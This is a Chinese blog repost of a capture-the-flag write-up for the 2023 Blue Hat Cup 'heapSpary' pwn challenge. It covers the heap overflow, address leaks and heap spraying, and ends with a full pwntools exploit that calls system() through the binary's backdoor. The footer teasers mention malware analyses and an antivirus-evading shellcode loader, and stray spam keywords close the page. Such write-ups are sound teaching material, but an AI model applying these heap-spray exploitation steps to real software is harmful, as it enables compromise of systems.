<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從2023藍帽杯0解題heapSpary入門堆噴

    VSole2023-08-31 09:34:58

    關于堆噴堆噴射(Heap Spraying)是一種計算機安全攻擊技術,它旨在在進程的堆中創建多個包含惡意負載的內存塊。這種技術允許攻擊者避免需要知道負載確切的內存地址,因為通過廣泛地“噴射”堆,攻擊者可以提高惡意負載被成功執行的機會。

    這種技術尤其用于繞過地址空間布局隨機化(ASLR)和其他內存保護機制。對于利用瀏覽器和其他客戶端應用程序的漏洞特別有效。

    前言此題為2023年藍帽杯初賽0解pwn題,比賽的時候是下午放出的,很難在賽點完成該題,算是比較高難度的題,他的題目核心思想確實和題目名字一樣,堆噴,大量的隨機化和滑板指令思想,在賽后一天后完成了攻破。此題,不是因為0解我才覺得他有意義,是因為他的堆噴思想和實際在工作中的二進制利用是很貼合的,確實第一次打這種題。

    題目分析checksec

    ? checksec main
    [*] '/root/P-W-N/bulue/main'
        Arch:     i386-32-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    保護全開,很常規。

    這個題其實要是能迅速靜態分析完,其實也能很快出,也算是給我上了一課,要是我的好大兒GXH在,估計是可以在比賽中成為唯一解的。

    先來看整個程序是去了符號表,我們先在start那定位main函數,__libc_start_main第一個參數就是main函數地址

    // positive sp value has been detected, the output may be wrong!
    void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
    {
      int v2; // esi
      int v3; // [esp-4h] [ebp-4h] BYREF
      char *retaddr; // [esp+0h] [ebp+0h] BYREF
      v2 = v3;
      v3 = a1;
      __libc_start_main(
        (int (__cdecl *)(int, char **, char **))sub_1D64,
        v2,
        &retaddr,
        (void (*)(void))sub_1D90,
        (void (*)(void))sub_1E00,
        a2,
        &v3);
      __halt();
    }
    

    這個main沒什么好看的,快進到初始化和菜單

    初始化如下

    unsigned int sub_134D()
    {
      unsigned int result; // eax
      unsigned int buf; // [esp+0h] [ebp-18h] BYREF
      int fd; // [esp+4h] [ebp-14h]
      int v3; // [esp+8h] [ebp-10h]
      unsigned int v4; // [esp+Ch] [ebp-Ch]
      v4 = __readgsdword(0x14u);
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      setbuf(stderr, 0);
      fd = open("/dev/urandom", 0);
      if ( fd < 0 || read(fd, &buf, 4u) < 0 )
        exit(0);
      close(fd);
      srand(buf);
      v3 = rand();
      malloc(4 * (v3 % 1638));
      result = __readgsdword(0x14u) ^ v4;
      if ( result )
        sub_1E10();
      return result;
    }
    

    初始化影響不是很大,就是建了個隨機大小的chunk,但是因為后續是不釋放這個chunk其實沒什么影響。

    來看菜單,4是不存在的虛空功能

    int sub_15E4()
    {
      puts("========Welcome to new heap game========");
      puts("1. Create Heap.");
      puts("2. Show Heap.");
      puts("3. Delete Heap.");
      puts("4. Change Heap.");
      puts("5. Action.");
      puts("6. Exit.");
      return printf("Please give me your choose : ");
    }
    

    我們直接來先看看后門函數5

    int sub_1C14()
    {
      int result; // eax
      unsigned int v1; // [esp+Ch] [ebp-1Ch]
      int v2; // [esp+10h] [ebp-18h]
      printf("Please input heap index : ");
      v1 = sub_1461();
      if ( v1 > 0xFFF || !dword_4060[2 * v1] )
        return puts("Error happened.");
      v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
      if ( !**(_DWORD **)v2 )
        return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
      result = *(_DWORD *)v2;
      --**(_DWORD **)v2;
      return result;
    }
    

    關于地址0x4060這個地方前面存的是堆的地址,后面是堆的大小,堆數量上限在0xFFF。

    來看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];

    這個就是取堆地址然堆地址加堆大小(可控輸入任意值)然后賦值到v2,比如

    0x565a1060:     0x57aebf90      0x00000100
    

    得到的就是0x57aec090

    然后對0x57aec090里面存放的地址進行一個內存檢測操作,如果前4位為0就執行后門,取0x57aec090內的地址的內存的后四位進行指針函數調用。此時鏈表如下

     0x57aec090 —? 0x57aeb300 ?— 0x0
    

    0x57aeb300內存如下(0xf7d99781為system地址)

    pwndbg> x/32wx 0x57aeb300
    0x57aeb300:     0x00000000      0xf7d99781      0x00000000      0xf7d99781
    

    分析完后門了,我們去看看add功能。可以看見是非常的長的,然后重點在于Switch選擇和sub_14BA函數

    _DWORD *sub_1690()
    {
      _DWORD *result; // eax
      int i; // [esp+4h] [ebp-34h]
      int k; // [esp+8h] [ebp-30h]
      int j; // [esp+Ch] [ebp-2Ch]
      int m; // [esp+10h] [ebp-28h]
      int v5; // [esp+14h] [ebp-24h]
      int v6; // [esp+18h] [ebp-20h]
      int v7; // [esp+1Ch] [ebp-1Ch]
      for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
        ;
      if ( (int *)i == off_4010 )
        return (_DWORD *)puts("Ooops! Here is no space for you.");
      printf("How much space do you need : ");
      v5 = sub_1461();
      if ( v5 <= 0 || v5 > 0x20000 )
        return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
      for ( j = 0; j <= 15; ++j )
      {
        for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
          ;
        dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
        dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
        if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
        {
          puts("Ooops! Some error happened.");
          exit(-1);
        }
      }
      for ( m = 0; m <= 15; ++m )
      {
        puts("Please input your head data.");
        sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
        puts("Which flag do you want?");
        v6 = sub_1461();
        v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
        switch ( v6 )
        {
          case 1:
            *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
            *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
            *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
            break;
          case 2:
            *(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
            *(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
            *(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
            break;
          case 3:
            *(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
            *(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
            *(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
            break;
          case 4:
            *(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
            *(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
            *(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
            break;
        }
      }
      printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
      result = dword_4040;
      dword_4040[0] = i;
      return result;
    }
    

    我們先看看sub_14BA函數,可以看見邏輯是無限讀入,存在堆溢出,后續堆噴滑動要用上。在輸入的最后末尾都會變成0截斷符,相當于帶有一個off by null,但是這里也用不上的,核心在于堆塊bin構造,要非常熟悉bin的回收機制,還有利用好下面的Switch選擇來把0截斷給繞過。

    int __cdecl sub_14BA(char *buf, int a2)
    {
      while ( a2 )
      {
        if ( read(0, buf, 1u) != 1 )
          exit(-1);
        if ( *buf == 10 )
        {
          *buf = 0;
          break;
        }
        ++buf;
      }
      *buf = 0;
      return 0;
    }
    

    我們來繼續看這個Switch選擇,其實4個選項都是差不多的只是返回值的地址不一樣而已,調一個就好了。

    他會對所有的在0x4060上的chunk都進行賦值操作,我們先重點關注下v7的取值

    dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
    

    可以看見v7的取值一樣是堆的起始地址加上我們的大小,注意注意,這個大小是我們自己輸入的,也就是可以打1,2,3.....

    如果是這樣的話比如我們的起始地址是0x100,大小是輸入了1,內容輸入的是a,那么經過下面的case 1操作

     case 1:
            *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
            *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
            *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
    

    就會得到內容如下(此處字節碼只做替代作用,非真實情況)

    0x100:a
    0x101:\x01
    0x102:\x02
    0x103:\x03
    0x104:\x04 (本應是libc or heap 但是由于v7取的是起始地址加大小剛好覆蓋了一位地址,但是無所謂,低三位隨便蓋)
    0x105:libc or heap
    0x106:libc or heap
    0x107:libc or heap
    

    要是不去調用這4個case中的任一一個,就會變成如下,最后就會因為之前的溢出讀入函數導致末尾強行加上了截斷符

    0x100:a
    0x101:\x00
    0x102:libc or heap
    ..................
    

    也就是說,只要把握好一個堆塊的BK指針存儲上堆地址或者libc地址就能通過申請的時候申請大小為1的堆塊(實際為0x10)來繞過0截斷,進而泄露地址。

    對于這個chunk 構造,我是直接選擇了非常暴力的操作,因為他一次性add操作會直接申請16個chunk,free的時候是全free。

    所以泄露操作的exp如下,直接破壞他們的鏈表

    create_heap(0xa0, b'1','data',4)
    create_heap(1, b'1','data',4)
    create_heap(0x60, b'1','data',4)
    create_heap(1, b'1','data',4)
    delete_heap()
    delete_heap()
    delete_heap()
    delete_heap()
    create_heap(1, b'1','data',4)
    create_heap(1, b'1','data',4)
    create_heap(1, b'1','data',4)
    

    bin如下

    pwndbg> bin
    tcachebins
    0x10 [  7]: 0x579aeaf0 —? 0x579aeae0 —? 0x579aeab0 —? 0x579aead0 —? 0x579aeaa0 —? 0x579aea70 —? 0x579aea60 ?— 0x0
    0x70 [  7]: 0x579ae5e0 —? 0x579ae880 —? 0x579ae810 —? 0x579ae7a0 —? 0x579ae730 —? 0x579ae570 —? 0x579ae500 ?— 0x0
    0xb0 [  7]: 0x579aded0 —? 0x579adb60 —? 0x579ada00 —? 0x579ad950 —? 0x579ad740 —? 0x579ad8a0 —? 0x579ae030 ?— 0x0
    fastbins
    0x10: 0x579ae288 —? 0x579ae258 —? 0x579ae248 —? 0x579ae238 —? 0x579ae328 ?— ...
    unsortedbin
    all [corrupted]
    FD: 0x579ae0d8 —? 0x579adf78 —? 0x579adc08 —? 0x579adaa8 —? 0x579ad7e8 ?— ...
    BK: 0x579ae8e8 —? 0x579ae338 —? 0x579ae648 —? 0x579ad7e8 —? 0x579adaa8 ?— ...
    smallbins
    empty
    largebins
    empty
    pwndbg>
    

    此時就會出現如下的神仙堆塊,這就是我們要的最完美的堆塊

    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x579ae8e8
    Size: 0x151
    fd: 0xf7f48778
    bk: 0x579ae338
    

    但是要明白一點,unsortedbin可不止這一個,而且他不是每次都一定處于鏈表的頭部的,所以還要寫一個全輸出和篩選操作

    # Assuming leak_all is defined as an empty list before this
    leak_all = []
    heap_addr = None
    libc_base = None
    for i in range(46):
        leak = leak_libc(i)
        if leak > 0x56000000:
            leak_all.append(leak)
            print(hex(leak))
            
            # Assigning values to heap_addr and libc_base
            if heap_addr is None and leak < 0xf7000000:
                heap_addr = leak+0x1000-0x56
            elif libc_base is None and leak > 0xf7000000:
                libc_base = leak-0x1eb756
    

    這樣就可以穩定的獲得libc,和一個堆地址。

    然后經過內存調試發現,該堆地址在有一定概率在后續申請的堆塊的下面,我們可以進行棧溢出覆蓋該堆地址的內容,完成上面后門要求的條件。

    所以,直接進行堆噴覆蓋,index為0的chunk+0x100肯定在自己的下面,我們要考慮爆破的只有堆風水和上面泄露的heap_addr是不是也在index為0的chunk后面就行了,對于這個問題就交給運氣吧,爆就完事了。

    tips:(上面的堆風水是因為,他的add的時候用了random瞎賦值下標干擾程序增強隨機化導致的,有時候鏈表不是我想的那么完美有可能踩值會踩不到 0x580e97a0 —? 0x580e8900 ?— 0 ,會變成0x580e97a0 —? 0x580e8900 ?— 0x580e8900 這就是因為堆風水導致padding不穩定,)

    # Checking the assigned values
    print("heap_addr:", hex(heap_addr))
    print("libc_base:", hex(libc_base))
    sys=libc_base+libc.sym['system']
    pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
    create_heap(0x100, pay,pay,0)
    p.sendlineafter("Please give me your choose : ", "5")
    p.sendlineafter("Please input heap index : ", "0")
    expfrom pwn import *
    # 連接到題目提供的服務端
    p = process('./main')
    context.log_level='debug'
    libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
    def create_heap(size, data,data2,flag):
        p.sendlineafter("Please give me your choose : ", "1")
        p.sendlineafter("How much space do you need : ", str(size))
        p.sendlineafter("Please input your head data.", data)
        p.sendlineafter("Which flag do you want?", str(flag))
        for _ in range(15):
            p.sendlineafter("Please input your head data.", data2)
            p.sendlineafter("Which flag do you want?", str(flag))
    def delete_heap():
        p.sendlineafter("Please give me your choose : ", "3")
    all_leak=[]
    def leak_libc(idx):
        p.sendlineafter("Please give me your choose : ", "2")
        p.sendlineafter("Please input heap index : ", str(idx))
        p.recvuntil("Heap information is ")
        p.recv(4)
        leak = u32(p.recv(4).ljust(4,b'\x00'))
        return leak
    gdb.attach(p,'b *$rebase(0x01C9E)')
    #構建理想chunk,bk帶有堆指針或libc指針,這種chunk可以批發的
    create_heap(0xa0, b'1','data',4)
    create_heap(1, b'1','data',4)
    create_heap(0x60, b'1','data',4)
    create_heap(1, b'1','data',4)
    delete_heap()
    delete_heap()
    delete_heap()
    delete_heap()
    #申請小chunk 瘋狂切割,直接一點點帶出來
    create_heap(1, b'1','data',4)
    create_heap(1, b'1','data',4)
    create_heap(1, b'1','data',4)
    # Assuming leak_all is defined as an empty list before this
    leak_all = []
    heap_addr = None
    libc_base = None
    for i in range(46):
        leak = leak_libc(i)
        if leak > 0x56000000:
            leak_all.append(leak)
            print(hex(leak))
            
            # Assigning values to heap_addr and libc_base
            if heap_addr is None and leak < 0xf7000000:
                heap_addr = leak+0x1000-0x56
            elif libc_base is None and leak > 0xf7000000:
                libc_base = leak-0x1eb756
    delete_heap()
    delete_heap()
    delete_heap()
    # Checking the assigned values
    print("heap_addr:", hex(heap_addr))
    print("libc_base:", hex(libc_base))
    sys=libc_base+libc.sym['system']
    #堆風水隨緣padding,最后的p32(0)+p32(sys)是因為要滿足后門格式,由于我們不可能得到具體的距離,只能用滑板思想批量填充滑動
    pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
    create_heap(0x100, pay,pay,0)
    p.sendlineafter("Please give me your choose : ", "5")
    p.sendlineafter("Please input heap index : ", "0")
    p.interactive()
    

    dwordsub
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序詳細分析過應該怎樣利用格式化字符串漏洞(參考資料2),而針對該漏洞,《漏洞戰爭》中并沒有進行詳細分析,因此我幾乎是從頭到尾按照自己的思路獨立完成了這個漏洞的分析以及利用,其中漏洞利用部分又占據了比較大的篇幅,因此對于格式化字符串漏洞在實際中的利用方式有了更深刻的了解。
    trickbot病毒分析
    2022-03-25 06:45:38
    概述最近微軟發布了一款Trickbot掃描器[1]該木馬近期在app.any.run公開任務的提交趨勢如下[2]獲取一個樣本[2],進行分析原始樣本分析打開之后是這樣的這里包含一定的社會工程操作,如果受害者對此類攻擊不熟悉,就會點擊啟用宏導致樣本執行。使用oletools查看一下宏C:\Users\IEUser\Desktop\trickbot>mraptor?
    這次分析了CVE-2014-0502 Adobe Flash Player中的雙重釋放漏洞。文章的前半部分是Action Script代碼的靜態分析以及對于漏洞利用原理的一個初步分析,AS代碼分析和書中內容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作機制,通過搜索查看網上的資料完成了前半部分的內容。
    HOOK技術實戰
    2021-10-19 05:55:56
    對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。hook(鉤子)是一種特殊的消息處理機制,它可以監視系統或者進程中的各種事件消息,截獲發往目標窗口的消息并進行處理。所以說,我們可以在系統中自定義鉤子,用來監視系統中特定事件的發生,完成特定功能,如屏幕取詞,監視日志,截獲鍵盤、鼠標輸入等等。
    干貨 | HOOK技術實戰
    2021-10-16 10:09:27
    基礎知識對于Windows系統,它是建立在事件驅動機制上的,說白了就是整個系統都是通過消息傳遞實現的。鉤子可以分為線程鉤子和系統鉤子,線程鉤子可以監視指定線程的事件消息,系統鉤子監視系統中的所有線程的事件消息。當前鉤子處理結束后應把鉤子信息傳遞給下一個鉤子函數。PE頭是固定不變的,位于DOS頭部中e_ifanew字段指出位置。
    前言之前hvv的時候有條件釣魚的情況下也沒有想著去嘗試,一方面是免殺的工作沒準備好。2022.11.15:花了幾天寫了這個,但是發現對于釣魚的話效果其實還是不行,所以這篇就單純記錄下了,白加黑的方式還是更適合做權限維持,這篇筆記僅供大家參考0X00????啟動為了更好的起到免殺和適配環境原因,所以啟動的四步操作均通過匯編來進行實現,之后各個語言只需要通過shellcode加載器進行加載這段shellcode即可python shellcode loaderimport ctypesimport sys
    之前我說Codemeter的反調試很猛,我收回。Scylla Hide調至VMP檔,運行后將爆出的幾個錯誤全部Pass to the Application && Do not suspend or log即可。根據前面的分析,我們知道了Codemeter私有協議中最終要的兩個函數就是encrypt_telegram和decrypt_telegram。服務器接受到客戶端的請求那就必定調用decrypt_telegram解密,向客戶端回復數據必定通過encrypt_telegram解密。因此我們第一步就需要確定這兩個函數。先對decrypt_telegram下斷,跑起來看看誰調用她。查看decrypt_package和encrypt_package的交叉引用,有一個函數同時引用這兩個函數。
    LockerGoga分析
    2022-03-03 06:54:17
    LockerGoga是2019年3月發現的勒索病毒,該勒索病毒充分利用CPU的多核特性,嘗試最高的加密效率。
    看雪論壇作者ID:LarryS
    MRCTF2022 stuuuuub 題解
    2023-02-07 10:15:04
    Overview學了這么一段時間的Android,難得見到的一道比較對口的逆向題。e.c()通過執行which su命令后讀取輸出來檢查是否有su文件。讀取res.dat文件后調用了decodeSo函數進行解密存放在應用的數據目錄下的libnative.so,而decodeSo是libstub.so里的native函數。但是在libstub.so里卻沒有直接找到decodeSo函數,因此應該是JNI_OnLoad里動態注冊的。decode String另外libstub.so使用了Ollvm的字符串加密和控制流平坦化。這里參考官方給的WP中使用了AndroidNativeEmu框架。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类